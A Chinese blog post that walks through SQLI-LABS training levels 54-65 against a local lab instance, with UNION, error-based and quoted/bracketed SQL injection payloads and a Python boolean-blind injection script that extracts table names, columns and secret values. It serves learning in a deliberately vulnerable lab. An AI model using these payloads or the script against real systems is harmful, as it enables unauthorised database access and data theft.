SQLI LABS Challenges Part(54-65) WriteUp

终于到了最后一部分,这些关跟之前不同的是这里是限制次数的。

less-54:
这题比较好玩,10次之内爆出数据。先试试是什么类型:

?id=1' and '1 ==>>正常
?id=1' and '0 ==>>不正常

所以是单引号注入。union一波试试:

?id=1' union select 1,2,'3

果然回显了。下面就从information_schema中爆数据了:

爆表名

?id=100' union select 1,(select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema='challenges'),'3

爆字段名

127.0.0.1:85/sqli-labs-master/Less-54/index.php?id=100' union select 1,(select group_concat(column_name separator 0x7e) from information_schema.columns where table_name='yrby6u7nvw'),'3

爆数据

127.0.0.1:85/sqli-labs-master/Less-54/index.php?id=100' union select 1,(select secret_2BUB from challenges.yrby6u7nvw),'3

输入密钥后,成功:

less-55:
这题搞了好久,没有回显,只能盲注。后来实在没办法(我太菜了π_π),看了下源码,原来id被包起来了:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

所以payload应该为:

?id=100) union select 1,2,3--%20

剩下的跟less-54差不多了。

less-56:
先fuzz是什么注入类型:

?id=1 ==>> 正常
?id=1 and 0 ==>> 正常
?id=1' and '0 ==>> 无数据

由此判断出是单引号注入,尝试union:

?id=100' union select 1,2,'3

无返回结果,有可能和less-55一样,参数被括号包裹了,尝试一下:

?id=100') union (select 1,2,'3

下面操作就跟之前差不多了。

less-57:
跟上面几题一样,只不过是双引号注入,payload:

?id=100" union select 1,2,"3

less-58:
这题跟前面几个都不一样,想使用union,可是出来的数据都是一样的。后来看了一下源码:

可以看出,username和password是固定的数组,所以我们注入的数据是union不出来的。总不能用时间盲注吧,毕竟这题只有五次机会。实在没辙,看了眼wp,原来是用的报错注入,我好笨。。看一眼payload:

爆表名

?id=1'-extractvalue(1,concat(0x7e,(select group_concat(table_name separator 0x7f) from information_schema.tables where table_schema='challenges'),0x7e))-'1

爆字段

?id=1'-extractvalue(1,concat(0x7e,(select group_concat(column_name separator 0x7f) from information_schema.columns where table_name='kunnw7szqe'),0x7e))-'1

爆数据

?id=1'-extractvalue(1,concat(0x7e,(select group_concat(secret_POYF separator 0x7d) from challenges.kunnw7szqe),0x7e))-'1

成功:

less-59:
跟上一题一样,只不过是数值型注入,爆表名payload:

?id=100 union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name separator 0x7d) from information_schema.tables where table_schema='challenges'),0x7e))),3--%20

剩下的跟前面差不多了~

less-60:
先fuzz:

?id=1 and 0 ==>> 正常
?id=1' and '0 ==>> 正常
?id=1" and "0 ==>> 不正常

所以是双引号注入。尝试:

?id=1" union select 1,2,"3

返回SQL语法错误,根据错误信息,发现id是被括号包着的,所以稍微改一下:

?id=1") union select 1,2,3--%20

还是返回跟之前一样的数据,估计后台又是用数据来提取信息的,所以尝试报错:

?id=100") union select 1,(extractvalue(1,concat(0x7e,database(),0x7e))),3--%20

剩下的操作就跟之前差不多了。

less-61:
同样,先fuzz是什么类型。结果是单引号注入。输入一个单引号之后返回SQL语法错误,根据返回信息,发现id被两个括号包着了。用报错注入,payload:

?id=100')) union select 1,(extractvalue(1,concat(0x7e,database(),0x7e))),3--%20

less-62:
fuzz之后发现是单引号注入,尝试:

?id=100' union select 1,2,3--%20

没有返回数据,估计是后台出错了,加个括号:

?id=100') union select 1,2,3--%20

这题可以尝试130次,估计是要用盲注了。试了试报错注入,果然不行,看来只能写脚本了。payload:

id=1' and if((条件),1,0)-'1

已知表名长度:10,字段名长度:4,数据长度:24。用二分法的话,每猜一个字符大概要6次,而一共有38个字符,所以大概要猜228次。离130还有很大距离。。
直接附个脚本:

#!/usr/bin/env python3
import requests, math

#常量定义
words = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
words_len = len(words)

url = 'http://127.0.0.1:85/sqli-labs-master/Less-62/index.php'

#创建字符表,以ascii排序

#基于时间的盲注

#爆表名
table_name_payload1 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))>{}),1,0))-\''
table_name_payload2 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))<{}),1,0))-\''
table_name_payload3 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))={}),1,0))-\''

#爆字段名
column_name_payload1 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))>{}),1,0))-\''
column_name_payload2 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))<{}),1,0))-\''
column_name_payload3 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))={}),1,0))-\''

#爆数据
data_payload1 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))>{}),1,0))-\''
data_payload2 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))<{}),1,0))-\''
data_payload3 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))={}),1,0))-\''


def find_tableName():
    #表名
    table_name = ''
    print("\n[+}retrieving table name...")
    index = 1
    for i in range(1, 11):
        # if(len(table_name) == 10):
            # break
        min = 0
        max = words_len-1
        cur = math.floor((max+min)/2)
        table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
        # print(table_name_payload)
        # print(words[cur])
        # exit()
        while(1):
            resp = requests.get(url, params=table_name_payload)
            #print("No.{}: {}".format(index, words[cur]))
            index += 1
            # print("\n"+resp.content.decode('utf-8'))
            # exit()
            if("Login name" in resp.content.decode('utf-8')):
                #向右取
                #print("right {} {} {}".format(min, cur, max))
                min = cur
                if(cur+1 == max):
                    #成功
                    table_name += words[max]
                    #print("\n####got one! {}\n".format(table_name))
                    print('{}'.format(table_name))
                    break
                cur = math.floor((max+min)/2)
                table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
                continue
            elif("Login name" not in resp.content.decode('utf-8')):
                #向左取
                #print("left {} {} {}".format(min, cur, max))
                if(cur+1 == max):
                    #成功
                    table_name_payload = {'id':table_name_payload3.format(i, ord(words[cur]))}
                    resp = requests.get(url, params=table_name_payload)
                    #print("No.{}: {}".format(index, words[cur]))
                    if("Login name" in resp.content.decode('utf-8')):
                        table_name += words[cur]
                    else:
                        table_name += words[min]
                        
                    #print("\n####got one! {}\n".format(table_name))
                    print('{}'.format(table_name))
                    break
                max = cur
                cur = math.floor((max+min)/2)
                table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}

    print('[+]table_name: {}\n[+]{} times'.format(table_name, index))
    return table_name
    
def find_columnName(table_name):
    #字段名
    column_name = 'secret_'
    print("\n[+}retrieving column name...")
    is_done = False
    index = 1
    for i in range(8, 12):
        min = 0
        max = words_len-1
        cur = math.floor((max+min)/2)
        column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
        while(1):
            resp = requests.get(url, params=column_name_payload)
            #print(column_name_payload)
            index += 1
            if("Login name" in resp.content.decode('utf-8')):
                #向右取
                #print("right {} {} {}".format(min, cur, max))
                min = cur
                if(cur+1 == max):
                    #成功
                    column_name += words[max]
                    #print("\n####got one! {}\n".format(column_name))
                    print('{}'.format(column_name))
                    break
                cur = math.floor((max+min)/2)
                column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
                continue
            elif("Login name" not in resp.content.decode('utf-8')):
                #向左取
                #print("left {} {} {}".format(min, cur, max))
                if(cur+1 == max):
                    #成功
                    column_name_payload = {'id':column_name_payload3.format(table_name, i, ord(words[cur]))}
                    resp = requests.get(url, params=column_name_payload)
                    #print(column_name_payload)
                    index += 1
                    #print("No.{}: {}".format(index, words[cur]))
                    if("Login name" in resp.content.decode('utf-8')):
                        column_name += words[cur]
                    else:
                        column_name += words[min]
                        
                    #print("\n####got one! {}\n".format(column_name))
                    print('{}'.format(column_name))
                    break
                max = cur
                cur = math.floor((max+min)/2)
                column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}

    print('[+]column_name: {}\n[+]{} times'.format(column_name, index))
    return column_name

def retrieve_data(table_name, column_name):
    #爆数据
    data = ''
    print("\n[+}retrieving data...")
    index = 1
    for i in range(1, 25):
        min = 0
        max = words_len-1
        cur = math.floor((max+min)/2)
        data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
        while(1):
            resp = requests.get(url, params=data_payload)
            #print(data_payload)
            index += 1
            if("Login name" in resp.content.decode('utf-8')):
                #向右取
                #print("right {} {} {}".format(min, cur, max))
                if(cur+1 == max):
                    #成功
                    data += words[max]
                    #print("\n####got one! {}\n".format(data))
                    print('{}'.format(data))
                    break
                min = cur
                cur = math.floor((max+min)/2)
                data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
                continue
            elif("Login name" not in resp.content.decode('utf-8')):
                #向左取
                #print("left {} {} {}".format(min, cur, max))
                if(cur+1 == max):
                    #成功
                    data_payload = {'id':data_payload3.format(column_name, table_name, i, ord(words[cur]))}
                    resp = requests.get(url, params=data_payload)
                    #print(data_payload)
                    index += 1
                    #print("No.{}: {}".format(index, words[cur]))
                    if("Login name" in resp.content.decode('utf-8')):
                        data += words[cur]
                    else:
                        data += words[min]
                        
                    #print("\n####got one! {}\n".format(data))
                    print('{}'.format(data))
                    break
                max = cur
                cur = math.floor((max+min)/2)
                data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}

    print('[+]data: {}\n[+]{} times'.format(data, index))
    return data
    
if __name__ == '__main__':   

    table_name = find_tableName()
    column_name = find_columnName(table_name)
    data = retrieve_data(table_name, column_name)

运行截图:

less-63:
跟上一题没什么区别,只是id没有被包在括号里,脚本没有区别。

less-64:
这题是数字型注入,把上面payload中的引号去掉就好了。

less-65:
双引号注入,把less-62中的单引号换成双引号就ok了。

总结:
终于写完了,中间走走停停做了好几个星期。不过这一套下来,的确学到了一些东西。整体难度不算难,主要就是巩固基础,形成自己的一套注入方法。从fuzz注入类型,到写payload,再到写脚本,都变得更加得心应手,所以收获还是蛮大的。

posted @ 2018-04-01 16:36  ka1n4t  阅读(180)  评论(0编辑  收藏  举报